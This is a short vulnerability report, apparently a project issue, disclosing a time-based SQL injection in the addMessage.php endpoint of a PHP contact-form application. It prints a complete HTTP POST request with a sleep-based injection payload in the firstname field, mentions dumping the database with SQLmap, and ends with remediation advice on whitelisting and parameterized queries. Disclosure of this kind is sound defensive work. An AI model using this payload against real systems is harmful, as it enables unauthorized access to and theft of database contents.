Vulnerability/BUG - SQL Injection while addMessage

[shubhamvpandey]

Hi
I found a SQL injection vulnerability in your Contact-Form-With-Messages-Entry-Management

POST /Contact-Form-With-Messages-Entry-Management-master/process/contacts/addMessage.php HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 139
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/Contact-Form-With-Messages-Entry-Management-master/view/contact.php
Cookie: PHPSESSID=8jp0c36flam1krptku4bq9hvf5

firstname=test'%2b(select*from(select(sleep(20)))a)%2b'&lastname=test&email=sdsada%40gmail.com&phone=123123131&subject=test&message=rtesdas

Above query will only sleep database for 20 second but Using SQLmap bad user can dump the database as show in image.

Control -
User inputs consumed by the application should be sanitized based on the data type and data sets. For example, user input for age should only be allowed to contain numbers. Blacklist approach where certains characters and keywords are sanitized is not recommended.

Remediation -
To prevent this follow the following steps:
a) Validate all input data against a whitelist

b) Use of parameterized queries
String selectStatement = "SELECT * FROM User WHERE userId = ? ";
PreparedStatement prepStmt = con.prepareStatement(selectStatement);
prepStmt.setString(1, userId);
ResultSet rs = prepStmt.executeQuery();